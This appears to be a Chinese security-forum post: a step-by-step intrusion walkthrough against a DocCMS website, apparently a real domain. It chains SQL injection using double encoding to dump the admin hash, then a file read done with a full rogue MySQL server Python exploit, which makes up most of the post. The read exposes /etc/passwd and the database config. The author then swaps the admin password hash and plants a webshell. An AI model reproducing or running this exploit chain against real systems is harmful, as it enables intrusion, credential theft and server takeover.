安全矩阵

 找回密码
 立即注册
搜索
查看: 466|回复: 0

图文详解多种漏洞配合利用--getshell(附脚本)

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-1-23 23:01:51 | 显示全部楼层 |阅读模式
图文详解多种漏洞配合利用--getshell(附脚本) (qq.com)


           

  •        

  •        

  •        

  •        

  •        

多种漏洞配合利用--getshell写在前面环境信息收集SQL二次编码注入漏洞利用任意文件读取漏洞利用获取指定密文写在前面在渗透中,我们往往需要结合多种漏洞进行getshell,下面将通过多种漏洞配合利用来getshell服务器。
环境
编辑
信息收集netdiscover探测存活主机
编辑
编辑

nmap探测web服务器端口开放情况

Namp扫描端口的详细信息

使用Whatweb进行cms识别,识别出网站cms
SQL二次编码注入漏洞利用利用网上公开的漏洞进行利用。由于该cms报过非常多漏洞,使用二次编码SQL注入进行利用。先测试这个网站的漏洞有没有给修复。
编辑

发现过滤了'

使用二次编码后发现可以成功访问
此时使用SQLmap中二次编码模块进行注入

获取数据库用户

获取数据库名称

获取www_ddd4_com数据库的表

获取doc_user表中的数据,得到后台登录的账号和密码的密文
当得到这一串网站后台的登录密文后,我尝试各种方式破解,结果都无效。要想登录后台还要想办法,于是先寻找网站的后台
编辑
任意文件读取漏洞利用该cms还报过任意文件读取漏洞,直接使用exp进行攻击
附上师傅写的exp:

  1. #!/usr/bin/env python
  2. #coding: utf8

  3. import socket
  4. import asyncore
  5. import asynchat
  6. import struct
  7. import random
  8. import logging
  9. import logging.handlers

  10. PORT = 3306

  11. log = logging.getLogger(__name__)

  12. log.setLevel(logging.INFO)
  13. tmp_format = logging.handlers.WatchedFileHandler('mysql.log', 'ab')
  14. tmp_format.setFormatter(logging.Formatter("%(asctime)s:%(levelname)s:%(message)s"))
  15. log.addHandler(
  16.     tmp_format
  17. )

  18. filelist = (
  19.     '/www/wwwroot/www.ddd4.com/config/doc-config-cn.php',//为要读取的文件
  20. )

  21. #================================================
  22. #=======No need to change after this lines=======
  23. #================================================

  24. __author__ = 'Gifts'

  25. def daemonize():
  26.     import os, warnings
  27.     if os.name != 'posix':
  28.         warnings.warn('Cant create daemon on non-posix system')
  29.         return

  30.     if os.fork(): os._exit(0)
  31.     os.setsid()
  32.     if os.fork(): os._exit(0)
  33.     os.umask(0o022)
  34.     null=os.open('/dev/null', os.O_RDWR)
  35.     for i in xrange(3):
  36.         try:
  37.             os.dup2(null, i)
  38.         except OSError as e:
  39.             if e.errno != 9: raise
  40.     os.close(null)

  41. class LastPacket(Exception):
  42.     pass

  43. class OutOfOrder(Exception):
  44.     pass

  45. class mysql_packet(object):
  46.     packet_header = struct.Struct('<Hbb')
  47.     packet_header_long = struct.Struct('<Hbbb')
  48.     def __init__(self, packet_type, payload):
  49.         if isinstance(packet_type, mysql_packet):
  50.             self.packet_num = packet_type.packet_num + 1
  51.         else:
  52.             self.packet_num = packet_type
  53.         self.payload = payload

  54.     def __str__(self):
  55.         payload_len = len(self.payload)
  56.         if payload_len < 65536:
  57.             header = mysql_packet.packet_header.pack(payload_len, 0, self.packet_num)
  58.         else:
  59.             header = mysql_packet.packet_header.pack(payload_len & 0xFFFF, payload_len >> 16, 0, self.packet_num)

  60.         result = "{0}{1}".format(
  61.             header,
  62.             self.payload
  63.         )
  64.         return result

  65.     def __repr__(self):
  66.         return repr(str(self))

  67.     @staticmethod
  68.     def parse(raw_data):
  69.         packet_num = ord(raw_data[0])
  70.         payload = raw_data[1:]

  71.         return mysql_packet(packet_num, payload)

  72. class http_request_handler(asynchat.async_chat):

  73.     def __init__(self, addr):
  74.         asynchat.async_chat.__init__(self, sock=addr[0])
  75.         self.addr = addr[1]
  76.         self.ibuffer = []
  77.         self.set_terminator(3)
  78.         self.state = 'LEN'
  79.         self.sub_state = 'Auth'
  80.         self.logined = False
  81.         self.push(
  82.             mysql_packet(
  83.                 0,
  84.                 "".join((
  85.                     '\x0a',  # Protocol
  86.                     '5.6.28-0ubuntu0.14.04.1' + '\0',
  87.                     '\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00',
  88.                 ))            )
  89.         )

  90.         self.order = 1
  91.         self.states = ['LOGIN', 'CAPS', 'ANY']

  92.     def push(self, data):
  93.         log.debug('Pushed: %r', data)
  94.         data = str(data)
  95.         asynchat.async_chat.push(self, data)

  96.     def collect_incoming_data(self, data):
  97.         log.debug('Data recved: %r', data)
  98.         self.ibuffer.append(data)

  99.     def found_terminator(self):
  100.         data = "".join(self.ibuffer)
  101.         self.ibuffer = []

  102.         if self.state == 'LEN':
  103.             len_bytes = ord(data[0]) + 256*ord(data[1]) + 65536*ord(data[2]) + 1
  104.             if len_bytes < 65536:
  105.                 self.set_terminator(len_bytes)
  106.                 self.state = 'Data'
  107.             else:
  108.                 self.state = 'MoreLength'
  109.         elif self.state == 'MoreLength':
  110.             if data[0] != '\0':
  111.                 self.push(None)
  112.                 self.close_when_done()
  113.             else:
  114.                 self.state = 'Data'
  115.         elif self.state == 'Data':
  116.             packet = mysql_packet.parse(data)
  117.             try:
  118.                 if self.order != packet.packet_num:
  119.                     raise OutOfOrder()
  120.                 else:
  121.                     # Fix ?
  122.                     self.order = packet.packet_num + 2
  123.                 if packet.packet_num == 0:
  124.                     if packet.payload[0] == '\x03':
  125.                         log.info('Query')

  126.                         filename = random.choice(filelist)
  127.                         PACKET = mysql_packet(
  128.                             packet,
  129.                             '\xFB{0}'.format(filename)
  130.                         )
  131.                         self.set_terminator(3)
  132.                         self.state = 'LEN'
  133.                         self.sub_state = 'File'
  134.                         self.push(PACKET)
  135.                     elif packet.payload[0] == '\x1b':
  136.                         log.info('SelectDB')
  137.                         self.push(mysql_packet(
  138.                             packet,
  139.                             '\xfe\x00\x00\x02\x00'
  140.                         ))
  141.                         raise LastPacket()
  142.                     elif packet.payload[0] in '\x02':
  143.                         self.push(mysql_packet(
  144.                             packet, '\0\0\0\x02\0\0\0'
  145.                         ))
  146.                         raise LastPacket()
  147.                     elif packet.payload == '\x00\x01':
  148.                         self.push(None)
  149.                         self.close_when_done()
  150.                     else:
  151.                         raise ValueError()
  152.                 else:
  153.                     if self.sub_state == 'File':
  154.                         log.info('-- result')
  155.                         log.info('Result: %r', data)

  156.                         if len(data) == 1:
  157.                             self.push(
  158.                                 mysql_packet(packet, '\0\0\0\x02\0\0\0')
  159.                             )
  160.                             raise LastPacket()
  161.                         else:
  162.                             self.set_terminator(3)
  163.                             self.state = 'LEN'
  164.                             self.order = packet.packet_num + 1

  165.                     elif self.sub_state == 'Auth':
  166.                         self.push(mysql_packet(
  167.                             packet, '\0\0\0\x02\0\0\0'
  168.                         ))
  169.                         raise LastPacket()
  170.                     else:
  171.                         log.info('-- else')
  172.                         raise ValueError('Unknown packet')
  173.             except LastPacket:
  174.                 log.info('Last packet')
  175.                 self.state = 'LEN'
  176.                 self.sub_state = None
  177.                 self.order = 0
  178.                 self.set_terminator(3)
  179.             except OutOfOrder:
  180.                 log.warning('Out of order')
  181.                 self.push(None)
  182.                 self.close_when_done()
  183.         else:
  184.             log.error('Unknown state')
  185.             self.push('None')
  186.             self.close_when_done()

  187. class mysql_listener(asyncore.dispatcher):
  188.     def __init__(self, sock=None):
  189.         asyncore.dispatcher.__init__(self, sock)

  190.         if not sock:
  191.             self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
  192.             self.set_reuse_addr()
  193.             try:
  194.                 self.bind(('', PORT))
  195.             except socket.error:
  196.                 exit()

  197.             self.listen(5)

  198.     def handle_accept(self):
  199.         pair = self.accept()

  200.         if pair is not None:
  201.             log.info('Conn from: %r', pair[1])
  202.             tmp = http_request_handler(pair)

  203. z = mysql_listener()
  204. # daemonize()
  205. asyncore.loop()
复制代码



           
  •         获取报错路径
                   
            编辑
           
            读取到/etc/passsword的文件
           
            读取到数据库的配置文件,获取到数据库的账号与密文
           
            利用刚刚得到的密文进行MySQL数据库连接,这里的MySQL支持外连
            也可以通过数据库查询获取密文
           
            此时我已经拿到数据库权限,但想要getshell还是要继续思考。
            获取指定密文        为了更好的分析,在本地搭建了一个网站,找到登录文件后发现加密函数,寻找该功能函数,还不死心,继续分析是否可逆。
                   
            编辑
            到达该功能函数页面以后,发现通过sha1、md5等加密算法结合加密,说明此密文不可逆。此时我要怎么办呢?想到刚刚已经拿到数据库权限,如果我根据自己的密码按照该网站的加密算法去生成密文,通过数据库权限更改密文,此时我不就知道密码了吗?
                   
            编辑
            马上根据自己的需要,将明文admin通过登录界面的代码来进行输出加密后的密文,这里为了抓包更好寻找密文,前面加了一些66垃圾数据。
            其中这一串代码为新加的代码,目的是为了获取admin的密文
                    $docEncryption = new docEncryption('admin');echo $docEncryption->to_string();```[![]()]()通过抓包后得到密文[![]()]()除了以上方法外,我们可以直接利用我们搭建网站设置的密码,通过数据库去查询密文,照样可以获取密文[![]()]()在获取的数据库权限中去更改密文[![]()]()确认密文更改成功[![]()]()通过修改的密码进入后台后,从功能点出发,发现可以写码。[![]()]()成功getshell[![]()]()## 总体思路[![]()]()## 总结通过此实例,我们发现在渗透时要善于利用网上公开漏洞进行渗透,并且要学会多种漏洞结合进行利用。       


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 09:29 , Processed in 0.013205 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表